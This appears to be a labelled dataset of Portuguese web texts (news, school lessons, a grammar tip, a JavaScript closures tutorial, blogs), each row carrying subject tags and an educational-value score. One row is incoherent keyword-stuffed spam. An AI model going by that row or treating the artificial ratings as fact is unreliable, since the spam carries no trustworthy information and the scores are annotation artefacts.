O duo coleciona uma série de hits controversos como ""Fanatica Sensual"", ""Candy"" e ""Mi Vecina"", reconhecidos internacionalmente. +""Deja Tus Besos"" é o nono clipe do álbum ilumiNATTI e outros estão por vir. Enquanto as próximas datas de lançamento não são anunciadas, assista aos clipes anteriores aqui: +Natti Natasha esbanja sensualidade com Chencho Corleone, do Plan B, em clipe de ""Deja Tus Besos"" Reviewed by Felipe Morgan on julho 04, 2019 Rating: 5",original,original,original,original,0,0.0 +"Já parou para pensar em como os animais e as plantas, aparentemente tão diferentes, estão interligados e dependem um do outro para sobreviver? Essa relação fascinante é a base de muitos ecossistemas e garante a manutenção da vida no nosso planeta. Vamos explorar juntos essa dança incrível! + +As plantas, como grandes produtoras de alimento, são a base da cadeia alimentar. Atrav��s da fotossíntese, elas utilizam a luz do sol, a água e o gás carbônico para produzir o seu próprio alimento, liberando oxigênio, que é vital para a respiração da maioria dos seres vivos, incluindo nós, humanos. Muitos animais se alimentam diretamente das plantas, como as vacas que comem capim ou as lagartas que devoram folhas. Esses animais, chamados herbívoros, dependem das plantas para obter energia e nutrientes. + +Mas a relação não é só de “comer e ser comido”. As plantas também precisam dos animais! Um exemplo claro é a polinização. Abelhas, borboletas, beija-flores e até mesmo alguns morcegos visitam as flores em busca de néctar. Ao fazerem isso, eles carregam o pólen de uma flor para outra, permitindo que a planta se reproduza e produza frutos e sementes. Imagine um mundo sem abelhas! A produção de muitos alimentos que consumimos seria drasticamente afetada. + +Outro exemplo importante é a dispersão de sementes. Muitos animais comem frutos e, ao se deslocarem para outros lugares, eliminam as sementes através de suas fezes. Dessa forma, eles ajudam a espalhar as plantas por diferentes áreas, garantindo a sua sobrevivência e expansão. Esquilos que enterram nozes e esquecem onde as esconderam são jardineiros involuntários, plantando árvores sem nem perceber! + +Até mesmo a decomposição de animais e plantas mortas contribui para a saúde do solo e o crescimento de novas plantas. Fungos e bactérias atuam como decompositores, transformando a matéria orgânica em nutrientes que as plantas podem absorver pelas raízes. É um ciclo contínuo de vida e morte, onde nada se perde, tudo se transforma. + +Essa interdependência entre animais e plantas demonstra a importância da preservação da biodiversidade. Quando uma espécie é ameaçada de extinção, todo o ecossistema pode ser afetado. A destruição de florestas, a poluição e as mudanças climáticas representam grandes ameaças para essa relação delicada. Proteger o meio ambiente é fundamental para garantir que essa dança continue por muitas gerações. + +Pense um pouco: como você pode contribuir para proteger essa relação entre animais e plantas? Quais ações você pode tomar no seu dia a dia para preservar o meio ambiente? Pequenas atitudes, como economizar água, plantar árvores e evitar o desperdício de alimentos, fazem toda a diferença. A natureza agradece!",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O texto apresenta informações básicas sobre a interdependência entre animais e plantas, abordando conceitos como cadeia alimentar, fotossíntese, polinização, dispersão de sementes e decomposição. A linguagem é acessível e o conteúdo é adequado para o ensino fundamental, promovendo a conscientização ambiental. A estrutura do texto facilita a compreensão e o incentivo à reflexão sobre ações individuais em prol da preservação ambiental.",5,1.0 +"História de emoções, luzes, cores, magia +Pó duradouro que ano após ano se deposita nos nossos corações +Estrelas que acendem a eternidade nos olhos das crianças. +E o Pai Natal entra devagarinho. +As bibliotecas do Agrupamento de Escolas da Maia desejam a toda a comunidade educativa Boas Festas +O primeiro postal de Natal foi criado em Inglaterra, em 1843. Pintado à mão, ilustrava uma família em festa durante o Natal, que brindava ao amigo ausente, a quem se enviava o postal, com um copo de vinho tinto. Legendado com a frase A Merry Christmas and a Happy New Year to you, tinha em cada um dos lados mensagens de caridade. +O postal ainda não deixou de ser um ícone. Para uns ainda resiste à era tecnológica e à preguiça, para outros pertence completamente ao passado. Falamos dos postais de Natal, daqueles que vêm ornamentados com bonecos de neve, anjinhos, pais natais, renas, azevinho, árvores de Natal, luzes e... maioritariamente nas cores vermelho, verde e branco.A mensagem é universal - votos de boas festas. +Entre outras atividades para comemorar a época natalícia, a Escola Básica nº 2 de Gueifães promoveu um concurso no qual os alunos teriam de dar asas à criatividade e elaborar um postal de Natal. E as paredes da escola encheram-se de cordas nas quais molas seguravam imaginativos postais de Natal para todos os gostos. +Pus no correio para ir para o Norte. +Na Biblioteca Municipal da Maia! +Título: ""A pequena Árvore de Natal"" +Sinopse: Através desta amorosa história em alto-relevo, vais descobrir como os brinquedos de todo o mundo levaram a magia e o espírito de Natal até ao Pólo Norte, dando uma bela lição de carinho. +Sinopse: O Pedro e o Rubi estão a fazer a árvore de Natal e usam as melhores decorações sem pedir licença à mãe. Mas ela não fica zangada, antes os convidam para irem fazer as suas próprias decorações e divertirem--se juntos enquanto as fazem. +As novas aventuras de Pedro contadas em 4 novos livros desta coleção com muitas ilustrações e textos engraçados para crianças que começam a ler, ou para contar aos mais pequeninos. +Para refletir, um poema fantástico ... +A outra, oriunda de uma fábrica devoluta, +é uma pedinte das calçadas de granito +que a cor do infinito lhe cravou na espinha. +Duas pombas repousam, uma introspetiva, a outra sozinha. +Ambas sentem um imenso medo da morte, do fim e do nada. +Há, contudo, uma linha subconsciente que as separa. +E, no entanto, o vento que as afasta desde a nascença, +as palavras exatas e a densidade imensa +de um entendimento que a natureza evitou. +É uma tarde estival, também eu reflito no cimo de uma colina +aqui estou, debruçado sobre o encanto de quem se engana. +A vida inteira a defender a distinção da pomba em duas classes, +para agora ver e não conseguir distinguir +a paz do nomadismo em rostos de mudança. +Fecho os olhos, sei o que dizem. +- Sê calma na aprendizagem da vida. +Um dia, a morte pousa-te na asa, mas não temas. +Lembra-te que é da escuridão que brotam as estrelas. +A pomba negra respira fundo, esvoaça e diz: +- Partamos então sem rumo. Mas não gemas. +O ciclo é certo e manifesta-se em nós. +Quando te cansares de ser a luz e a nossa voz, +eu levo os astros e sucedemo-nos, +formando um ciclo imperfeito que ao nosso ritmo passa. +Porque afinal, somos uma só raça. +É uma tarde estival, de olhos fechados, interrogo-me +se ao humano não bastava a palavra certa. +Em silêncio, escuto-a placidamente em mim. +Um dia, cantá-la-ei a toda a gente e a fraternidade +Ao longe, sinto a palavra e a sua exatidão. +A palavra que fará o mundo mover-se numa só direção. +Comemoração do ""Dia Internacional da Pessoa com Deficiência"" +Dia 10 de dezembro no Pavilhão Municipal da Maia +Cerimónia de entrega do Diploma de Mérito +E dava o mergulho sem fazer barulho. +Jogando de meia-direita ou de ponta +Como foi lembrado o Dia Nacional da Cultura Científica na Escola Básica nº 2 de Gueifães +Até pode vir a acontecer que um de nós seja cientista no futuro... +Alunos de uma turma do 4º ano da Escola Básica nº 2 de Gueifães +Tão “desi...",original,original,original,original,2,0.4 +"Este ou esse, isto ou isso - Como Escreve? +Esta é uma grande dúvida que surge para pessoas que querem escrever com a grafia correta ou mesmo precisam utilizar a linguagem culta em processos de seleção, por isso confira a seguir algumas regras para o este ou esse, o isto ou aquilo. +O Este deverá ser utilizado sempre em situação de lugar e espaço, o que está sempre perto do lugar de onde estou. Como exemplos podemos utilizar as seguintes frases “este é meu carro novo” ou ainda “este bairro não é seguro”. +Esse deverá ser utilizado quando a pessoa ou coisa estiver afastada de quem fala, por isso veja os exemplos que ajudam a entender melhor o processo: +Passe-me essas chaves que estão com você. +De quem é esse carro que você está desmontando? +Com relação ao tempo o este e o esse deverão ser utilizados nas seguintes situações: +Este é levado em conta como algo do tempo presente, como exemplo podemos citar “isto aconteceu este ano” ou “isto aconteceu este mês”. +No caso do Esse ele deverá ser utilizado com alguma coisa que já passou, porém que fica em um futuro próximo, como exemplos podemos citar “esse mês que passou ficará marcado pela tragédia...” ou ainda “Foi confirmado o show da cantora por esses dias”. +Com relações a discursos e situações no texto o este deverá ser utilizado de formas diferenciadas. +Este deverá servir para o que vamos dizer, veja o exemplo “os principais itens que influenciaram no resultado do IPCA foram estes, a alimentação, o vestuário e a habitação”. +Ou ainda temos o Esse para o que já foi dito “não faço questão alguma de sorvete. Eu poderia viver sem esse tipo de coisa”. +Com isto temos algumas regras gramaticais relacionadas a um termo que gera muitas dúvidas nas pessoas todos os dias. +Da mesma forma que este e esse, isto e isso geram muitas dúvidas quanto ao uso. +Isto refere-se à pessoa que fala e também ao tempo presente em relação à pessoa que fala. +Que é isso que está aí ao teu lado direito? +Não entendi o ( ISSO) = passado ou futuro. +Que é isso que está aí ao teu lado direito? ""é presente,não?"" +Glauco Contatos 1 de setembro de 2015 10:12 +Neste caso, refere-se à posse do objeto e não ao tempo, o objeto não está com a pessoa que fez a pergunta. +Orlando Furtado 3 de setembro de 2015 14:11 +Escrever corretamente é muito difícil. Principalmente dos termos em questão. Mas as dicas são ótimas. Resta estudar. +E isto? Quando deve ser usado? Gostei das outras dicas! +Isto é muito amor, paciência e companheirismo. Está certo? +Eu pergunto,isso é de comer? ou isto é de comer? Sendo que o objeto vi em uma foto .",original,original,original,original,4,0.8 +Descrição: Válvula para capela com comando à distância para bojo.,original,original,original,original,0,0.0 +"Leitor ‘se engaja’ mais na notícia impressa | Destiempo +« Jornalistas são presos em operação da polícia britânica +A crise dos ‘brancos de olhos azuis’ » +30/01/2012 por CarlaLisboa +Consumidora de San Francisco compra exemplares do “New York Times”; leitor do impresso recorda mais que o da web +Em suma, diz o estudo, “os leitores on-line tendem a escanear os textos, enquanto os leitores de impresso tendem a ser mais metódicos”. +Mais especificamente, o leitor do “New York Times” impresso recorda em média “significativamente mais notícias” (9,6) que o leitor do site do jornal (7,3). Ele também relembra “significativamente mais tópicos” (4,2) que o leitor on-line (2,8). Por tópico, o levantamento entende a essência de cada texto. +Também quanto aos pontos principais -ou seja, os trechos importantes distribuídos ao longo do texto- o leitor do jornal impresso recorda mais (4) que a pessoa que lê na mídia on-line (2,8). +Arthur Santana lembra Nicholas Carr, autor de “The Shallows” -“os rasos”, obra traduzida no Brasil como “A Geração Artificial” (editora Agir). O livro questiona os efeitos da internet sobre a capacidade de “concentração e contemplação”.",original,original,original,original,1,0.2 +"Intimidade suprema, distância infinita - Campanha Vinde Fátima +Home›Espiritualidade›Intimidade suprema, distância infinita +Intimidade suprema, distância infinita +Exemplo daquilo que costumava ensinar a seus seguidores, Dr. Plinio se deleitava em contemplar a ordenação das coisas criadas como reflexos de Deus e caminho que a Ele nos conduz. Nas suas palavras aqui transcritas, compara os diferentes reinos da natureza, cujas insondáveis diversidades nos fazem “intuir a infinita grandeza do Criador”. +Compraz-me, vez por outra, considerar os vários reinos da criação e as diferenças imensuráveis que os separam. +O Pão de Açúcar e a grama +Imaginemos, por exemplo, que o Pão de Açúcar, rochedo extraordinário, de repente pudesse ter cinco minutos de pensamento e, nesse fulgor de raciocínio, visse um punhado de grama crescer nas suas encostas. Ele, o grandioso e eterno paralítico, que nunca se move nem se moverá, provavelmente, até o fim do mundo, é incapaz de crescer, de diminuir, de se deslocar. Não possui vida. Pelo contrário, a grama cresce, se alastra. O Pão de Açúcar contempla aquele desdobrar da grama, estremece de alegria e pensa: “Que honra para mim carregar uma graminha!” +Essa seria a bela e natural atitude a ser tomada por ele. Como seria igualmente natural e belo que a grama, por sua vez, dotada de pensamento, pudesse olhar para o Pão de Açúcar e dizer: “Que rochedo maravilhoso e colossal! Como sou pequena diante dele! Porém, eu vivo e ele não. Vivam as graminhas!” +Existe, portanto, um abismo entre o reino mineral e o vegetal. +A rosa e a taturana +Subamos outro degrau e imaginemos que a mais esplêndida das rosas, exercitando a faculdade de pensar que lhe fora dada, observasse uma taturana subindo pela sua haste, prestes a se esgueirar no meio de suas pétalas. A rosa então diria: “Sou linda, perfumada, uma obra-prima! Quando me vêem, os homens me colhem, as damas me osculam, e todos me oferecem para ornar o que há de mais precioso, até para os altares das igrejas. Sou a rosa. Em contrapartida, se virem essa taturana, deitam-na abaixo e a esmagam, porque a aparência dela não lhes agrada”. +“Contudo — prossegue a rosa — um fato é fato: essa taturana se move e sente. Eu não sinto. Cortam-me, deixam-me secar e fenecer, e não tenho conhecimento disso. A taturana, porém, conhece quando é ameaçada e se encontra em perigo de vida. Como o conhecer é mais valioso do que ser belo! Ó taturana, feia e repulsiva, que honra para mim carregar-te!” +Mais um abismo, pois, entre o reino vegetal e o animal. +Outras distâncias insondáveis +Imaginemos, agora, que um leão pudesse contemplar uma criança que está aprendendo a recitar a Ave-maria, ensinada por sua mãe. Ainda não sabendo articular bem as palavras, a criança apenas tartamudeia a oração. O animal observa aquela criancinha. Ente indefeso, esta seria presa fácil para ele, um aperitivo que a fera estraçalharia quando quisesse. Porém, se pudesse compreender as coisas, o leão chegaria ao seguinte raciocínio: “Essa pequena criatura, que eu deglutiria em poucos minutos, é dotada de razão, de inteligência, de vontade. Ela pensa, ela deseja, ela age. Eu não penso, não quero. Sou um jogo das minhas vísceras que se movem e me impulsionam para frente. Sigo os instintos que me dominam e ordenam o que devo fazer. A criança se governará a si mesma, e eu não me governo. Somente nesse relâmpago de raciocínio me é dado ter conhecimento disso. Ó criança, ó obra-prima!” +O leão, se pudesse, veneraria aquele pequeno ser humano. +Se galgarmos mais um patamar nessas comparações, deveríamos ainda imaginar um sábio pagão, inteligente e experimentado, diante de um menino batizado no qual desabrocham a inocência batismal, a vida da graça, a sua participação no Corpo Místico de Cristo, a sua filiação à Santa Igreja Católica. Se pudesse discernir tudo isso na criança batizada, o idoso pagão, movido por sua retidão natural, exultaria de admiração diante daquele grau mais elevado de vida. +O homem e o Criador… +Não é difícil per...",original,original,original,original,3,0.6 +"Distância Corona → Funchal - Linha aérea, rota de condução, ponto intermédio +Distância Corona → Funchal +Distância: 8.913,00 km Rota de condução: -- +Distância de Corona a Funchal +Linha aérea: 8.913,00 km +Corona, Riverside County, California, United States of America Corona, Riverside County, California, United States of America Latitude: 33.875294 33° 52' 31.058'' NLongitude: -117.566437 -117° 33' 59.173'' EHora local: 22:21 (12.12.2019) : (America/Los_Angeles) +Rota do voo: 8.919,61 km (10h 59min) +A distância de voo entre os aeroportos mais próximos Corona (CNO) e Funchal (FNC) é 8.919,61 km. Isto corresponde a um tempo de voo aproximado de 10h 59min. Rotas de voo semelhantes: CNO → FNC , CNO → PXO , CNO → FNC , CNO → FNC , CNO → PXO +O rumo inicial do percurso de Corona a Funchal é 57,13°, e a direção do compasso é ENE. +Ponto intermédio: 45.77331,-66.7515 +O ponto intermédio geográfico entre Corona e Funchal é em 4.456,50 km a distância entre ambos os pontos num rumo de 57,13°. Está localizado em Canada, York County. +Distância: 8.913,00 km +A distância mais curta (linha aérea) entre Corona e Funchal é 8.913,00 km. +A distância mais curta entre Corona e Funchal é . Metade da viagem será alcançada em . +A diferença horária entre Corona (America/Los_Angeles) e Funchal (Atlantic/Madeira) são 8 horas. Isto significa que agora são 22:21 (12.12.2019) em Corona e 06:21 (13.12.2019) em Funchal. +Portugal Portugal Latitude: 32.644798 32° 38' 41.273'' NLongitude: -16.90967 -16° 54' 34.812'' EHora local: 06:21 (13.12.2019) : (Atlantic/Madeira) +Para calcular a distância entre Corona e Funchal, os nomes dos locais são convertidos em coordenadas (latitude e longitude). O respetivo centro geográfico é utilizado para cidades, regiões e países. Para calcular a distância, é aplicada a fórmula de Haversine. +Funchal fica à mesma distância de Corona do que de Corona a Tóquio (8.880 km), Londres (8.740 km), Harbin (9.069 km), São Petersburgo (9.179 km), Santiago do Chile (8.949 km), Changchun (9.285 km), Yokohama (8.900 km), Berlim (9.301 km), Madrid (9.336 km), Osaka (9.254 km). +Corona para Lisboa, Corona para Porto, Corona para Amadora, Corona para Braga, Corona para Zaragoza, Corona para Setúbal, Corona para Coimbra, Corona para Funchal, Funchal para Lisboa, Funchal para Porto, Funchal para Amadora, Funchal para Braga, Funchal para Zaragoza, Funchal para Setúbal, Funchal para Coimbra,",original,original,original,original,2,0.4 +"Parede de tijolinhos aparentes - Casinha Arrumada +Decoração ● Dicas e Soluções postado por Inara Souza em 3 de agosto de 2015 +Quem me acompanha lá no Instagram deve ter visto como o meu amor pelas paredes de tijolinhos aparentes cresceu recentemente, resultado de uma série de inspirações que eu apanhei no Pinterest em algumas das minhas andanças por lá! Acontece que os tijolinhos aparentes tornarem-se tendência na decoração e é verdadeiramente incrível observar o efeito que eles causam no ambiente, seja ele qual for. +Eles trazem aconchego por conta do seu tom natural e também são bastante versáteis, encaixando-se em praticamente qualquer decoração existente. Criam um efeito visual interessante na sala e na cozinha, mas também podem ser usados em quartos e banheiros. +Qual acabamento escolher para a parede de tijolinhos aparentes +A escolha do acabamento vai depender da expectativa do morador para o ambiente em questão. Basicamente, o acabamento pode ser: +• Natural: quando a cor original é mantida. +• Pintado: quando a parede recebe pintura. +• Pátina: quando a parede é pintada e posteriormente lixada. +• Demolição: quando o reboco é retirado da parede e atinge-se um visual mais rústico. +• Junta seca: os tijolos parecem sobrepostos, uma vez que o rejunte não aparece. +• Junta frisada: o rejunte fica apenas levemente aparente. +• Junta cheia: quando o rejunte fica no mesmo plano dos tijolos. +Parede de tijolinhos aparentes: faça você mesma +1) Como fazer parede de tijolinhos aparentes usando isopor +Uma parede assim pode sair bem cara mas é claro que muita gente criativa por aí encontrou maneiras de fazer uma parede de tijolinhos aparentes sem gastar montanhas de dinheiro. É o caso desse tutorial lindo aqui que eu encontrei no Craft Passion, onde a Joanne ensina a usar isopor para criar uma falsa parede de tijolinhos aparentes. +2) Como fazer parede de tijolinhos aparentes usando EVA +Quer moleza de verdade? Então olha só esse post aqui, do Homens da Casa, onde uma leitora ensina a fazer uma parede falsa de tijolinhos aparentes usando EVA! Eu nem acreditei quando vi e a verdade é que agora estou louca para reproduzir aqui em casa! +3) Como fazer parede de tijolinhos aparentes usando fita crepe e tinta +Você também pode criar esse efeito usando fita crepe e tinta! É só marcar a parede com a fita crepe, pintar e retirar a fita! O efeito é lindo e é outra maneira bastante simples e baratinha de ter uma parede de tijolos aparentes para chamar de sua! +4) Parede de tijolinhos aparentes com papel de parede adesivo +Você também pode apostar nos papéis de parede que imitam tijolinhos aparentes! É a opção perfeita para quem não quer gastar muito dinheiro e muito menos fazer sujeira em casa! O papel adesivo é simples e prático de aplicar! +Algumas opções de papel de parede de tijolinhos que eu selecionei em lojas online: +Papel de parede tijolinho marrom | Papel de parede tijolinho cinza | Papel de parede tijolinho gelo +Viu só? Sem mais desculpas para continuar adiando aquele velho desejo de ter uma parede de tijolinhos aparentes em casa! +Fontes das Imagens: 1 2 3 4 5 6 7 8 9 10 11 +E então, gostaram das dicas e inspirações de hoje? Quem curte paredes de tijolinhos aparentes na decoração? De qual modo de fazer baratinho vocês gostaram mais? +Tags: BEDA|Como fazer parede de tijolo aparente|Decoração|Parede de Tijolos|Parede de tijolos aparentes|Tijolo Aparente|Tijolos à vista +8 comentários para “Parede de tijolinhos aparentes” +Oii Inara, eu também estou viciada em parede de tijolinho. Acho que fica tão bonito. +Eu adoro o natural e o pintado de branco, ficam lindo se bem combinados. +Eu fiz aqui em casa com o eva e ficou bem legal o resultado. +04/08/2015 às 13:15 +Sério? E foi fácil de fazer, Livia? Tô querendo muito tentar aqui em casa, mas deve dar um trabalhão, né? Apesar de tudo, acho que o resultado compensa, né? Deve ter ficado linda a sua parede! <3 +03/08/2015 às 16:49 +Nossa, um sonho da minha vida é ter a parede da sala toda de tijolinhos aparentes <3 Ac...",original,original,original,original,2,0.4 +"Como escrever uma carta de endosso _ +As cartas de endosso podem fazer uma candidatura de emprego se destacar diante das outras, ajudar um estudante a conseguir uma bolsa de estudos ou servir como uma recomendação para clubes e programas. A maioria das pessoas percebe o quão importante essas cartas podem ser, mas quando lhe pedem para escrever uma para alguém, pode ser difícil saber o que incluir nela. +Se tiver sorte, um comitê de bolsas de estudo ou um empregador lhe perguntará por critérios específicos a serem analisados na carta de endosso, facilitando o seu trabalho para escrevê-la. Se o que for necessário não for comunicado, então será preciso começar a carta do zero. Algumas dicas lhe ajudarão a escrever tal carta. +Coloque seu nome, endereço, número de telefone e endereço de e-mail no topo da carta, para dar um pouco de credibilidade a ela. A pessoa que receberá a recomendação sabe que poderá entrar em contato com você para questioná-lo com mais perguntas que possa ter. +Pule duas linhas e digite o nome da pessoa a quem esteja redigindo carta. Se não for especificar o nome, use essas palavras: ""Para quem essa carta pode concernir:"" +Pule duas linhas e abra a sua carta com o propósito do endosso. Por exemplo, ""Estou escrevendo esta carta para recomendar João da Silva para uma posição em sua companhia como um assistente executivo"" +Explique como conhece a pessoa para quem está escrevendo o endosso. Se a pessoa for um ex-empregado, cite isso. Se for um vizinho, cite. Seja específico quanto ao período de tempo que você a conhece e sua relação com ela. +Finalize a carta. O encerramento deve ser simples e objetivo. Mencione que você está disponível para responder a quaisquer perguntas. Finalize com um comentário sobre o quanto recomenda a pessoa que está endossando. +Adicione um bloque para assinatura. Pule duas linhas e escreva ""Sinceramente"" e, então, pule quatro linhas e digite o seu nome. +Imprima a carta e verifique por erros tipográficos. Se tudo estiver correto, assine no espaço em branco para assinatura (as quatro linhas que você pulou no bloco de assinatura). Sua carta está pronta. +Evite escrever mais que uma página para a carta. Os empregadores podem ter várias cartas para ler, então mantenha-a curta e objetiva. +Se estiver verdadeiramente endossando a pessoa, evite qualquer comentário negativo, mesmo de brincadeira. +The Beehive: Amostra de carta de endosso [em inglês] +Best Sample Resume: Amostra de carta de endosso para bolsas de estudo [em inglês] +Como escrever uma carta elogiosa +Escrevendo uma carta de agradecimento +Como redigir uma carta de referência para uma enfermeira +Como escrever uma carta de admissão para um programa de doutorado",original,original,original,original,2,0.4 +"JavaScript | Jedi Tux +Jedi Tux +JavaScript, Laços, Closures e Escopo +Posted in JavaScript by Fernando Basso on 11 de fevereiro de 2014 +A função abaixo itera sobre um laço for, mas o resultado não é o esperado. +i = 0; +for ( ; i < 3; ++i ) { +arr[ i ] = function() { +var res = fn(); +O objetivo do laço é popular o array, fazendo com que cada posição contenha uma função, de forma que seja possível chamar as funções dessa forma: +res[ 0 ](); // 10. +res[ 1 ](); // 11. +res[ 2 ](); // 12. +O problema é que devido à maneira que o escopo é tratado em Javascript, os resultados são 13, 13 e 13 em vez dos esperados 10, 11, 12. +O que aconteee é que em JavaScript as variáveis tem seu valor estabelecido no momento em que são usadas, e não no momento em que são declaradas. No caso do return i + 10, o i só é interpretado quando executamos res[ 0 ](), res[ 1 ](), etc. A função assinada a cada índice do array guarda apenas uma referência ao escopo onde foram definidas. Mais tarde, quando essas funções são realmente chamadas, elas vão encontrar o valor do i, que é 3 (último incremento antes da condição do laço retornar falso) e usar aquele valor. +Uma maneira de resolver o problema é usando uma closure para “forçar” o escopo e retornar uma função que guarda os valores desejados do i. Para isso vamos utilizar uma IIFE (immediately invoked function expression) que aceita o i como parâmetro e assim cria um novo escopo onde o valor correto do i é lembrado quando cada função retornada for finalmente chamada. +Essa é a versão “semi-correta”. +arr[ i ] = function( n ) { +return n + 10; +}( i )); +console.log( res[ 0 ]() ); // 10 +console.log( res[ 1 ]() ); // 11 +console.log( res[ 2 ]() ); // 12 +Por que “semi-correta”? Porque estamos criando uma nova função a cada volta do laço. Isso é desnecessário e custa mais ciclos do processador. Vamos criar uma versão onde a função já fica pronta, apenas esperando para ser usada. +// Note que addTen retorna uma função que por sua vez retorna o arg + 10. +function addTen( arg ) { +return arg + 10; +arr[ i ] = addTen( i ); +Veja que na função addTen, seria incorreto especificar argumento para a função interna – aquela que é retornada, pois não teríamos como passar o argumento sem chamar a função. Nesse caso, estaríamos retornando o valor da função, e não a função em si. +// ERRADO! +return function( n ) { // Não especifique argumento na assinatura da função. +}; // Teriamos que usar ( arg ) nessa linha. +O melhor é deixar assim (como no exemplo correto): +Graças ao conceito de “closures”, mesmo arg não sendo passada como parâmetro na função interna (aquela que é retornada), ela ainda assim é acessível. +JavaScript – Validar Email e Mostrar Mensagem SEM alert() +Posted in JavaScript by Fernando Basso on 21 de julho de 2013 +O email é validado tanto no evento blur do campo de email quanto no event submit do formulário. Uma mensagem é adicionada ou removida conforme a validade ou não do email. +A mensagem é criada com document.createTextNode() e é inserida em uma div que é criada com document.CreateElement(). Para completar o processo também são utilizados os métodos appendChild() e removeChild(). +Qualquer dúvida ou sugestão pode ser feita através dos comentários. +// O código poderia estar melhor organizado, mas optei por deixar +// assim para que não ficasse demasiado complicado. +// FUNÇÕES UTILIZADAS NA VALIDAÇÃO //////////////////////////////////////// +var re = /^([\w_\-\.])+@([\w_\-\.])+\.([\w]{2,4})$/; +return !re.test(email) ? false : true; +function validacao(email) { +// Só vamos colocar a mensagem se a div#msg ainda não existe. +if (document.getElementById('msg') == null) { +// Cria uma tag 'div'. +// Coloca id='msg' na div. +div.id = 'msg'; +// Cria um texto. +var msg = document.createTextNode('Email inválido...'); +// Coloca o texto dentro da div. +div.appendChild(msg); +// Coloca a div como último 'child' do formulário. +testForm.appendChild(div); +var divMsg = document.getElementById('msg'); +// Se o usuário já acertou o email, a div é removida, m...",original,original,original,original,4,0.8 +"Isso significa que os detalhes referentes ao mesmo já estarão disponíveis no site para consulta. +Dependendo do estado onde você mora,. +Caso você tenha ficado com alguma dúvida, deixe um comentário e compartilhe suas questões com a gente. +Use todos os truques sujos e armas do seu arsenal para fazer todos os trabalhos e difundir seu nome no submundo.A.Descrição: Seu irmão foi sequestrado e agora você precisa acabar com qualquer um que ficar entre você e ele.Roube bancos, lute contra a polícia, sequestre inimigos e muito.. +Emilly não economizou nas lágrimas e chorou tudo o que podia.Quando a prova já passava das onze horas aconteceu o inesperado, o surpreendente.Todo eliminado do ""BBB"" toma café da manhã quanto um advogado ganha no canada com a apresentadora.Atualizado em, segura o queixinho!As reclamações afirmam que Marinalva cochilou +O objetivo da taxa é prevenir que trolls não lancem games na Steam, afinal, eles teriam que gastar dinheiro para isso.3- In-app purchase: Essa é uma forma bastante utilizada por jogos mobile.A Steam é apenas uma das plataformas especializadas em vendas de games de PC, existem sites como +5 de março de 2002.A empresa de cartões americana tinha cerca de 1,2 milhões de plásticos no Brasil, e no ano de 2005, esses cartões movimentaram R 8,9 bilhões, ou 6,9 do mercado brasileiro.Em março de 2002, após longas negociações, o Bradesco quanto youtubers famosos ganham adquire por",original,original,original,original,1,0.2 +"Olá, pequenos exploradores da história! Já pararam para pensar por que comemos pamonha nas festas juninas ou por que dançamos frevo? Tudo isso faz parte das nossas **tradições culturais**, que são como um tesouro cheio de histórias e costumes passados de geração em geração. + +**O que são tradições culturais?** + +Imagine que a cultura de um povo é como uma grande árvore. As tradições são as raízes dessa árvore, aquilo que a mantém forte e conectada com o passado. As tradições culturais são os costumes, as crenças, as festas, as comidas, as danças, as músicas e as histórias que um grupo de pessoas compartilha e que são transmitidas de pais para filhos, de avós para netos. + +**Exemplos de tradições culturais no Brasil:** + +O Brasil é um país gigante e cheio de culturas diferentes! Cada região tem suas próprias tradições. Vamos conhecer algumas: + +* **Festas Juninas:** Quem não gosta de uma festa junina com fogueira, quadrilha e comidas deliciosas como pipoca e bolo de milho? Essa festa tem origem em celebrações europeias, mas ganhou um toque todo brasileiro com danças e comidas típicas. +* **Carnaval:** Uma festa cheia de cores, música e alegria que acontece em todo o país. Cada região tem seu próprio estilo de carnaval, com desfiles de escolas de samba, blocos de rua e fantasias incríveis. +* **Festa do Boi-Bumbá:** Uma festa popular do Norte do Brasil que conta a história de um boi que morreu e ressuscitou. A festa é cheia de danças, músicas e fantasias coloridas. +* **Frevo:** Uma dança animada e cheia de energia, típica de Pernambuco. Os dançarinos usam sombrinhas coloridas e fazem movimentos acrobáticos. +* **Culinária:** A comida brasileira é uma mistura de ingredientes e sabores de diferentes culturas. Temos o acarajé na Bahia, o churrasco no Sul, o pão de queijo em Minas Gerais e muitos outros pratos deliciosos. + +**Por que as tradições são importantes?** + +As tradições nos ajudam a entender quem somos e de onde viemos. Elas nos conectam com nossos antepassados e nos dão um senso de pertencimento a um grupo. Além disso, as tradições são importantes para preservar a nossa história e a nossa cultura. + +**Vamos refletir:** + +* Quais tradições culturais você conhece em sua família ou em sua comunidade? +* Como você pode ajudar a preservar as tradições culturais brasileiras? +* Qual tradição cultural brasileira você gostaria de conhecer melhor? + +As tradições culturais são um tesouro que devemos valorizar e proteger. Elas fazem parte da nossa identidade e nos tornam únicos. Que tal conversar com seus pais e avós para descobrir mais sobre as tradições da sua família? Você vai se surpreender com as histórias incríveis que eles têm para contar!",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, pois introduz o conceito de tradições culturais de forma acessível e envolvente para crianças. Apresenta exemplos claros e relevantes do Brasil, estimula a reflexão e promove a valorização da identidade cultural. O texto é bem escrito, coerente e adequado para o ensino fundamental, incentivando o diálogo familiar sobre o tema.",5,1.0 +"O instagram é uma rede social que tem crescido de forma acelerada, atualmente são 1 bilhão de contas ativas por todo o mundo, sendo que o Brasil se destaca como o segundo país com mais usuários ativos na plataforma. Com tantas pessoas conectadas em um único lugar, seria praticamente impossível seu negócio passar despercebido. […] +Hoje em dia é muito comum acessar as redes sociais e se deparar com as famosas #Hashtags. Muitas pessoas já utilizaram em suas publicações, porém nem todas sabem da onde surgiu e como usar de forma correta no mundo virtual. As hashtags surgiram no Twitter, porém pouco tempo depois foi aderida por usuários de outras […] +A evolução nas discussões sobre diversidade de gênero, que é pauta na sociedade, nas empresas e na propaganda, vem propiciando o surgimento de um novo ciclo de serviços desenvolvidos especificamente para mulheres. Essas novas empresas, muitas delas startups, se apegam na geração de valor em demandas específicas e em resposta a problemas atuais. Os casos […] +Com mais de 1 bilhão de usuários, o WhatsApp é uma das ferramentas de comunicação mais utilizadas no mundo. Sua simplicidade permite que até quem não tem muita familiaridade com smartphones consiga utilizá-lo facilmente. Por menos complexo que seja, o WhatsApp tem recursos que não são tão conhecidos e podem facilitar sua vida. Para facilitar […] +Aproveite as crises para promover melhorias na empresa +Quando algo vai mal na empresa, para muitos, o instinto inicial é manter as coisas sob os panos o máximo possível, para evitar desesperos na equipe. Eu diria que é melhor reconhecer a crise e usá-la em vantagem própria.É difícil trazer mudanças para uma organização, e um momento de crise é perfeito para fazer aqueles […] +Informe seu 